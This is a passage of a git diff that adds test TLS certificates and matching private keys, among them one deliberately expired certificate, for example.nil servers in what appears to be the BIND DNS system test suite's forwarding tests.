+                    f7:09:fa:60:e3:36:25:bd:f4:91:58:e6:f2:fd:f1:
+                    5a:00:e8:77:26:dc:2d:20:10:fc:c7:a2:16:0a:e1:
+                    59:e4:e5:a0:72:d4:23:88:a7:56:71:1d:69:f5:1e:
+                    e4:c1:ec:87:7a:ef:19:dd:df:fa:25:f0:3b:6f:c5:
+                    5f:14:20:26:fa:9b:e0:af:51:c4:18:3f:3c:49:7d:
+                    26:25:c2:d9:5c:67:5d:f8:af:73:20:58:ae:65:5e:
+                    71:03:77:78:7d:45:37:0a:a3:b7:32:eb:fe:ff:5f:
+                    c6:e9:b8:5b:37:f1:61:d5:84:27:50:d3:55:72:2c:
+                    8a:75:16:9a:95:b5:f9:2d:eb:d0:22:49:57:6b:65:
+                    87:aa:71:a8:6d:39:96:fe:e7:a9
+                Exponent: 65537 (0x10001)
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv02.crt01.example.nil, IP Address:10.53.0.2
+            X509v3 Subject Key Identifier:
+                70:90:94:81:4A:B2:BF:13:D6:29:1A:90:D9:33:A4:C5:74:29:CF:59
+            X509v3 Authority Key Identifier:
+                7C:89:E8:5C:EB:E5:1F:72:48:04:C5:8F:FB:92:08:9C:F5:60:26:39
+    Signature Algorithm: sha256WithRSAEncryption
+    Signature Value:
+        77:6c:f4:07:36:0b:ef:6e:86:2d:41:73:e0:ba:f7:4c:f1:bd:
+        8f:77:89:1a:8c:63:2e:39:93:a2:43:ee:70:85:f1:5d:01:60:
+        ab:e6:50:a1:5e:72:e3:89:13:77:e0:a5:f7:fa:27:31:93:1f:
+        3a:a7:35:5f:7d:59:3c:d2:26:9c:12:fa:51:2b:d3:31:0c:5a:
+        e7:a8:be:6a:2e:b2:82:6c:42:f2:86:74:9c:0a:c8:58:a8:68:
+        35:73:6e:1b:0c:9e:3b:08:3f:b9:ef:68:61:e9:d3:40:1d:aa:
+        dd:42:e3:1d:b0:1b:6e:b8:58:60:a1:68:4a:ff:09:b7:58:5b:
+        72:e8:36:a3:6d:10:78:c7:7f:52:f6:dc:39:5c:05:7d:7a:ae:
+        8d:3f:89:8f:10:a6:4d:8b:55:6a:9b:cb:2c:1d:00:59:9b:0c:
+        c3:55:e0:a3:25:69:b4:29:30:2f:20:bf:07:f4:21:88:b7:d0:
+        62:ad:d7:ca:e1:91:45:9f:a2:5f:7d:07:f4:98:b0:5e:d4:3a:
+        92:86:e9:a1:fb:c0:9b:81:46:da:56:ed:92:47:c0:1a:aa:55:
+        37:0e:3c:92:2c:44:7a:80:55:1f:15:7a:7c:c4:7e:ad:d5:b0:
+        a5:7e:33:63:09:23:6b:78:42:de:37:aa:04:a7:52:ed:06:fe:
+        d4:56:36:12:85:b6:ec:ff:03:ea:4b:e2:7a:42:49:73:b6:ab:
+        e4:7d:4a:2b:94:65:1f:b1:17:a3:be:17:0b:4e:53:3d:8a:d3:
+        d7:04:0f:f1:1a:63:b2:a6:eb:00:31:64:b4:80:e9:ae:bb:69:
+        12:04:a5:7d:2c:bd:91:62:2c:b9:5a:6e:af:e0:ee:27:f0:88:
+        15:8b:b7:ce:07:5e:bc:6b:e9:3e:3f:23:c7:f9:c9:48:20:69:
+        6a:8e:f2:17:9b:58:ff:72:36:21:ed:d3:83:16:60:ec:de:6f:
+        c4:50:47:b7:61:ce:75:c1:d6:60:28:de:bd:69:7c:e6:db:0e:
+        b9:fa:7b:84:24:35
+-----BEGIN CERTIFICATE-----
+MIIEkDCCAvigAwIBAgIJAMzBGAgmMuGLMA0GCSqGSIb3DQEBCwUAMH0xCzAJBgNV
+BAYTAlVBMRgwFgYDVQQIDA9LaGFya2l2IE9ibGFzdCcxEDAOBgNVBAcMB0toYXJr
+aXYxJDAiBgNVBAoMG0ludGVybmV0IFN5c3RlbXMgQ29uc29ydGl1bTEcMBoGA1UE
+AwwTY2EudGVzdC5leGFtcGxlLmNvbTAgFw0yMjEyMDgxMTUyNDNaGA8yMDUyMTEz
+MDExNTI0M1owIjEgMB4GA1UEAwwXc3J2MDIuY3J0MDEuZXhhbXBsZS5uaWwwggGi
+MA0GCSqGSIb3DQEBAQUAA4IBjwAwggGKAoIBgQCT6jpDg/+SgAa+TqBTXQudybG4
+/tXM3K+Uequ6Ew/AtplxeJCxf0EHhVkmkBSIe/wMZHA38yo5gIBITl93dCb6qt0/
+e45jtabOvLxaqh0ssJpUjANGi+YZUlFIFi2IrN9zu12G9YD/EpPRU387aTVWbYGK
+6ku9ddW/orj5mBfHR+daCkegAD1cd0KV72Dq4iyrl6nzHcen+aovXQO2W0iHtCdL
+mbPjmfjNu1GI9B401T7jEjwtwLcqnQtzfzqtJ5cXWFFwCId1QtKHR2fA28a5+LAx
+pssVJHtUBv2S5iRxP1UCAnHyR3/l/r7UXx61WPcJ+mDjNiW99JFY5vL98VoA6Hcm
+3C0gEPzHohYK4Vnk5aBy1COIp1ZxHWn1HuTB7Id67xnd3/ol8DtvxV8UICb6m+Cv
+UcQYPzxJfSYlwtlcZ134r3MgWK5lXnEDd3h9RTcKo7cy6/7/X8bpuFs38WHVhCdQ
+01VyLIp1FpqVtfkt69AiSVdrZYeqcahtOZb+56kCAwEAAaNsMGowKAYDVR0RBCEw
+H4IXc3J2MDIuY3J0MDEuZXhhbXBsZS5uaWyHBAo1AAIwHQYDVR0OBBYEFHCQlIFK
+sr8T1ikakNkzpMV0Kc9ZMB8GA1UdIwQYMBaAFHyJ6Fzr5R9ySATFj/uSCJz1YCY5
+MA0GCSqGSIb3DQEBCwUAA4IBgQB3bPQHNgvvboYtQXPguvdM8b2Pd4kajGMuOZOi
+Q+5whfFdAWCr5lChXnLjiRN34KX3+icxkx86pzVffVk80iacEvpRK9MxDFrnqL5q
+LrKCbELyhnScCshYqGg1c24bDJ47CD+572hh6dNAHardQuMdsBtuuFhgoWhK/wm3
+WFty6DajbRB4x39S9tw5XAV9eq6NP4mPEKZNi1Vqm8ssHQBZmwzDVeCjJWm0KTAv
+IL8H9CGIt9BirdfK4ZFFn6JffQf0mLBe1DqShumh+8CbgUbaVu2SR8AaqlU3DjyS
+LER6gFUfFXp8xH6t1bClfjNjCSNreELeN6oEp1LtBv7UVjYShbbs/wPqS+J6Qklz
+tqvkfUorlGUfsRejvhcLTlM9itPXBA/xGmOypusAMWS0gOmuu2kSBKV9LL2RYiy5
+Wm6v4O4n8IgVi7fOB168a+k+PyPH+clIIGlqjvIXm1j/cjYh7dODFmDs3m/EUEe3
+Yc51wdZgKN69aXzm2w65+nuEJDU=
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/forward/CA/certs/srv02.crt02-expired.example.nil.key b/bin/tests/system/forward/CA/certs/srv02.crt02-expired.example.nil.key
new file mode 100644
index 0000000000..3711943401
--- /dev/null
+++ b/bin/tests/system/forward/CA/certs/srv02.crt02-expired.example.nil.key
@@ -0,0 +1,40 @@
+-----BEGIN PRIVATE KEY-----
+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
+d8ykPRRZ7XjXCmIgCS9TsF8=
+-----END PRIVATE KEY-----
diff --git a/bin/tests/system/forward/CA/certs/srv02.crt02-expired.example.nil.pem b/bin/tests/system/forward/CA/certs/srv02.crt02-expired.example.nil.pem
new file mode 100644
index 0000000000..455655d558
--- /dev/null
+++ b/bin/tests/system/forward/CA/certs/srv02.crt02-expired.example.nil.pem
@@ -0,0 +1,100 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number:
+            cc:c1:18:08:26:32:e1:8c
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Dec  7 11:55:54 2022 GMT
+            Not After : Dec  8 11:55:54 2022 GMT
+        Subject: CN=srv02.crt02-expired.example.nil
+        Subject Public Key Info:
+            Public Key Algorithm: rsaEncryption
+                Public-Key: (3072 bit)
+                Modulus:
+                    00:ce:00:36:6e:b8:3f:db:fe:90:f7:de:e1:ed:43:
+                    4b:19:97:78:d8:ae:32:3c:4b:d5:8e:cd:1f:29:78:
+                    e2:af:d3:02:95:34:2c:5e:cd:54:8a:07:70:6b:61:
+                    a9:af:22:a7:6e:cf:86:b6:71:d7:4d:b4:af:f3:f0:
+                    9b:28:49:18:8c:66:88:67:63:47:e9:cd:a8:e9:5c:
+                    63:c0:be:08:b2:77:81:05:83:c7:3a:53:1b:c6:7a:
+                    82:99:fa:54:6f:4f:30:80:50:96:92:16:6e:10:16:
+                    ca:76:ee:c9:e5:90:63:98:98:e7:58:61:09:15:e9:
+                    45:67:89:f1:df:21:69:b6:ad:b7:24:68:92:07:b6:
+                    6f:93:f8:fb:bd:b5:90:c9:57:5a:e5:46:6c:d0:73:
+                    33:3c:10:6e:01:dc:46:f5:84:95:5d:2b:03:e3:3a:
+                    0d:66:59:f8:92:37:78:49:74:32:32:96:fa:bd:05:
+                    27:43:f8:f9:90:7c:e4:2b:36:54:c0:f2:77:fd:4f:
+                    ed:87:00:08:23:4d:57:81:a0:4f:f6:2e:9c:a0:22:
+                    3d:f6:27:b2:39:ed:44:8e:5c:92:4c:4b:b9:74:bb:
+                    0a:c4:97:e3:85:66:29:fc:75:3b:b5:3d:e1:22:57:
+                    33:11:2e:9a:a9:41:84:82:ea:44:b5:fc:3a:b4:88:
+                    31:11:46:98:c2:ec:db:43:55:72:a7:9f:a1:65:c0:
+                    bf:11:a7:44:27:a3:8b:06:4f:08:2a:2d:4c:c9:aa:
+                    d5:3d:03:24:66:e6:03:9b:9c:98:1a:5f:45:e8:b9:
+                    1d:f1:05:40:d8:3e:ed:40:05:1e:fa:8a:58:c5:a2:
+                    f2:2a:a1:cb:25:7e:61:8c:0e:3c:cc:5b:43:3a:7c:
+                    8b:a7:64:b8:c5:2b:6b:16:59:06:ad:ec:19:b5:1d:
+                    73:44:2f:f4:6c:31:f1:6e:f4:55:f6:44:37:ee:db:
+                    20:fe:54:92:43:28:f8:44:cb:9f:9f:b6:2c:aa:61:
+                    1f:2f:1a:15:15:cc:61:f3:b9:6f
+                Exponent: 65537 (0x10001)
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv02.crt02-expired.example.nil, IP Address:10.53.0.2
+            X509v3 Subject Key Identifier:
+                A7:8A:6D:EA:10:B4:6B:B8:13:16:6B:BA:A0:26:C3:9A:E7:A6:71:7E
+            X509v3 Authority Key Identifier:
+                7C:89:E8:5C:EB:E5:1F:72:48:04:C5:8F:FB:92:08:9C:F5:60:26:39
+    Signature Algorithm: sha256WithRSAEncryption
+    Signature Value:
+        34:7b:38:92:d9:c1:ba:ed:c7:b3:61:63:e6:d2:11:4e:0c:83:
+        8f:97:3a:11:97:51:3e:8d:9b:49:bb:f5:2c:92:d1:c2:e4:3b:
+        ad:db:69:cc:1f:cf:58:3d:4f:51:97:d1:09:19:2f:22:b5:3d:
+        e1:0d:e5:65:40:2a:54:19:55:22:11:85:18:1a:08:31:97:d8:
+        fe:cf:4c:9b:ec:8b:8f:9c:cd:cf:5b:a1:56:e4:1d:e0:79:4b:
+        ee:6b:1c:0b:60:a8:d8:fd:5c:a8:9d:dc:74:4f:ce:b8:f8:19:
+        a4:00:db:93:7b:ae:34:55:c6:fb:35:1b:9e:bc:d0:5f:da:8d:
+        77:0e:1f:45:89:d4:dd:f1:a9:4e:48:64:d2:4e:b6:4b:57:a0:
+        87:cf:a8:30:35:6e:09:91:56:59:9b:01:af:8a:f7:11:8c:d8:
+        2e:56:89:eb:a5:a0:6c:d2:56:0c:da:13:4d:36:92:28:50:b1:
+        e5:cd:64:60:ac:93:f4:98:d7:eb:df:7b:42:89:da:c0:6d:6e:
+        75:ae:45:28:9b:e8:de:00:dc:eb:df:ba:4f:63:2a:61:e5:42:
+        f3:e0:8f:aa:bd:f7:f6:9b:67:1b:ed:1e:a6:ae:4c:81:a2:62:
+        ff:a8:8f:94:da:a8:9d:27:fa:a4:46:44:2e:13:f2:05:2b:c4:
+        a6:57:d3:95:1c:ca:f8:e3:d2:0f:28:70:8a:1b:37:4f:b7:c1:
+        b3:fd:4b:85:ca:9d:8a:bb:62:85:47:66:c7:31:b8:db:c4:5d:
+        66:9d:6e:7b:94:07:fa:09:ae:5b:5b:23:31:ba:c8:40:82:4b:
+        6a:48:d2:83:0c:5f:b9:62:64:06:16:05:dd:e8:a8:02:eb:d7:
+        7a:9b:d9:49:d6:87:0e:16:ca:d6:4e:46:46:e5:37:e4:0d:68:
+        b7:d2:d6:78:c4:ee:c1:3b:38:8e:83:df:1f:39:63:1c:65:7a:
+        e0:26:1f:96:8a:57:9d:6b:27:62:6e:40:86:83:29:fd:1f:a1:
+        69:2a:92:cf:ab:db
+-----BEGIN CERTIFICATE-----
+MIIEnjCCAwagAwIBAgIJAMzBGAgmMuGMMA0GCSqGSIb3DQEBCwUAMH0xCzAJBgNV
+BAYTAlVBMRgwFgYDVQQIDA9LaGFya2l2IE9ibGFzdCcxEDAOBgNVBAcMB0toYXJr
+aXYxJDAiBgNVBAoMG0ludGVybmV0IFN5c3RlbXMgQ29uc29ydGl1bTEcMBoGA1UE
+AwwTY2EudGVzdC5leGFtcGxlLmNvbTAeFw0yMjEyMDcxMTU1NTRaFw0yMjEyMDgx
+MTU1NTRaMCoxKDAmBgNVBAMMH3NydjAyLmNydDAyLWV4cGlyZWQuZXhhbXBsZS5u
+aWwwggGiMA0GCSqGSIb3DQEBAQUAA4IBjwAwggGKAoIBgQDOADZuuD/b/pD33uHt
+Q0sZl3jYrjI8S9WOzR8peOKv0wKVNCxezVSKB3BrYamvIqduz4a2cddNtK/z8Jso
+SRiMZohnY0fpzajpXGPAvgiyd4EFg8c6UxvGeoKZ+lRvTzCAUJaSFm4QFsp27snl
+kGOYmOdYYQkV6UVnifHfIWm2rbckaJIHtm+T+Pu9tZDJV1rlRmzQczM8EG4B3Eb1
+hJVdKwPjOg1mWfiSN3hJdDIylvq9BSdD+PmQfOQrNlTA8nf9T+2HAAgjTVeBoE/2
+LpygIj32J7I57USOXJJMS7l0uwrEl+OFZin8dTu1PeEiVzMRLpqpQYSC6kS1/Dq0
+iDERRpjC7NtDVXKnn6FlwL8Rp0Qno4sGTwgqLUzJqtU9AyRm5gObnJgaX0XouR3x
+BUDYPu1ABR76iljFovIqocslfmGMDjzMW0M6fIunZLjFK2sWWQat7Bm1HXNEL/Rs
+MfFu9FX2RDfu2yD+VJJDKPhEy5+ftiyqYR8vGhUVzGHzuW8CAwEAAaN0MHIwMAYD
+VR0RBCkwJ4Ifc3J2MDIuY3J0MDItZXhwaXJlZC5leGFtcGxlLm5pbIcECjUAAjAd
+BgNVHQ4EFgQUp4pt6hC0a7gTFmu6oCbDmuemcX4wHwYDVR0jBBgwFoAUfInoXOvl
+H3JIBMWP+5IInPVgJjkwDQYJKoZIhvcNAQELBQADggGBADR7OJLZwbrtx7NhY+bS
+EU4Mg4+XOhGXUT6Nm0m79SyS0cLkO63bacwfz1g9T1GX0QkZLyK1PeEN5WVAKlQZ
+VSIRhRgaCDGX2P7PTJvsi4+czc9boVbkHeB5S+5rHAtgqNj9XKid3HRPzrj4GaQA
+25N7rjRVxvs1G5680F/ajXcOH0WJ1N3xqU5IZNJOtktXoIfPqDA1bgmRVlmbAa+K
+9xGM2C5WieuloGzSVgzaE002kihQseXNZGCsk/SY1+vfe0KJ2sBtbnWuRSib6N4A
+3Ovfuk9jKmHlQvPgj6q99/abZxvtHqauTIGiYv+oj5TaqJ0n+qRGRC4T8gUrxKZX
+05Ucyvjj0g8ocIobN0+3wbP9S4XKnYq7YoVHZscxuNvEXWadbnuUB/oJrltbIzG6
+yECCS2pI0oMMX7liZAYWBd3oqALr13qb2UnWhw4WytZORkblN+QNaLfS1njE7sE7
+OI6D3x85YxxleuAmH5aKV51rJ2JuQIaDKf0foWkqks+r2w==
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/forward/CA/certs/srv04.crt01.example.nil.key b/bin/tests/system/forward/CA/certs/srv04.crt01.example.nil.key
new file mode 100644
index 0000000000..3b5c4b1157
--- /dev/null
+++ b/bin/tests/system/forward/CA/certs/srv04.crt01.example.nil.key
@@ -0,0 +1,40 @@
+-----BEGIN PRIVATE KEY-----
+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
+B2yNl2lHM+2aSG8A3vug23aE
+-----END PRIVATE KEY-----
diff --git a/bin/tests/system/forward/CA/certs/srv04.crt01.example.nil.pem b/bin/tests/system/forward/CA/certs/srv04.crt01.example.nil.pem
new file mode 100644
index 0000000000..7a8fbc1b66
--- /dev/null
+++ b/bin/tests/system/forward/CA/certs/srv04.crt01.example.nil.pem
@@ -0,0 +1,100 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number:
+            cc:c1:18:08:26:32:e1:8d
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Dec  8 11:58:45 2022 GMT
+            Not After : Nov 30 11:58:45 2052 GMT
+        Subject: CN=srv04.crt01.example.nil
+        Subject Public Key Info:
+            Public Key Algorithm: rsaEncryption
+                Public-Key: (3072 bit)
+                Modulus:
+                    00:8d:e6:8a:10:6f:06:8f:b2:e5:f4:de:14:4d:d4:
+                    3c:1a:21:03:fe:32:02:d6:6d:0a:25:35:3d:50:00:
+                    71:d6:7b:75:d1:e0:04:36:20:da:39:db:9d:df:19:
+                    fe:5b:c3:e2:d0:72:c4:0d:be:57:d8:c2:3f:30:a8:
+                    99:b1:c3:1a:c8:96:a5:8a:0c:7a:e6:e9:2b:3e:c9:
+                    f9:f5:46:b2:cc:14:4c:e6:d1:65:25:19:fb:2c:2b:
+                    e4:6d:00:ba:7c:7f:f6:07:24:17:30:42:cb:04:e9:
+                    94:36:e3:18:8b:60:77:6c:68:d3:9e:62:81:82:64:
+                    24:2c:e9:ba:b8:d0:40:2f:e6:fd:e9:fa:aa:14:83:
+                    6f:26:16:c1:b7:b3:6d:fd:4a:3f:8f:a1:a9:e6:7b:
+                    bd:c1:60:a1:6b:ff:02:93:cc:08:93:9e:1e:0c:a3:
+                    31:29:20:74:e5:37:46:d8:41:10:c7:11:f4:d8:e7:
+                    43:7c:4d:bc:fb:fd:39:3a:79:8e:c2:0b:fe:21:df:
+                    16:c2:fc:10:b3:9b:da:cc:80:d3:64:56:6f:09:af:
+                    f6:73:8b:cb:64:e4:fe:c5:4c:85:4e:c3:ed:a4:0a:
+                    0a:53:f6:be:8d:5e:7a:42:4f:cd:b0:21:a4:8e:e4:
+                    45:fe:28:f6:4d:29:58:db:4a:b4:70:7a:3f:0b:db:
+                    64:3e:23:a5:99:47:11:7b:2c:66:83:a9:79:27:09:
+                    45:72:ac:4a:fa:35:6f:1f:64:d4:ab:cf:09:90:92:
+                    71:4a:d1:02:80:b1:ab:b0:19:ec:01:c6:a7:31:2b:
+                    4b:dc:3b:09:00:ad:9a:12:ca:e9:cd:54:bd:96:23:
+                    a3:14:2e:40:58:33:58:2f:70:05:c9:c6:28:f1:3e:
+                    d4:94:13:db:09:b3:63:78:6f:57:72:e8:1f:28:6f:
+                    7c:b6:25:76:4e:ab:11:c9:a5:d7:ca:32:00:5f:5e:
+                    14:ae:53:65:13:37:2b:d2:98:3c:d4:47:74:40:cf:
+                    ff:1b:ad:59:35:c1:d1:d3:a6:ff
+                Exponent: 65537 (0x10001)
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv04.crt01.example.nil, IP Address:10.53.0.4
+            X509v3 Subject Key Identifier:
+                CA:83:06:FB:3E:57:50:DD:FD:BF:00:5A:60:E2:6D:98:71:CD:2C:F2
+            X509v3 Authority Key Identifier:
+                7C:89:E8:5C:EB:E5:1F:72:48:04:C5:8F:FB:92:08:9C:F5:60:26:39
+    Signature Algorithm: sha256WithRSAEncryption
+    Signature Value:
+        6f:24:c5:ba:8e:62:5d:58:50:a5:25:a1:fc:41:fc:18:cb:7c:
+        11:02:0a:ad:7f:13:2a:20:07:92:5a:82:c0:92:9d:35:40:b0:
+        c9:85:5a:23:26:fb:55:b7:99:7a:18:a7:ae:b4:6e:a2:29:f8:
+        25:70:fa:3e:bf:b0:ec:91:d7:46:55:55:ab:fd:22:a6:c1:b4:
+        50:92:27:ea:d8:a1:71:ec:14:84:69:0a:c9:de:3f:c1:63:94:
+        17:5e:78:e7:85:34:80:bf:c3:58:f1:4d:fb:0c:b4:2e:2b:9c:
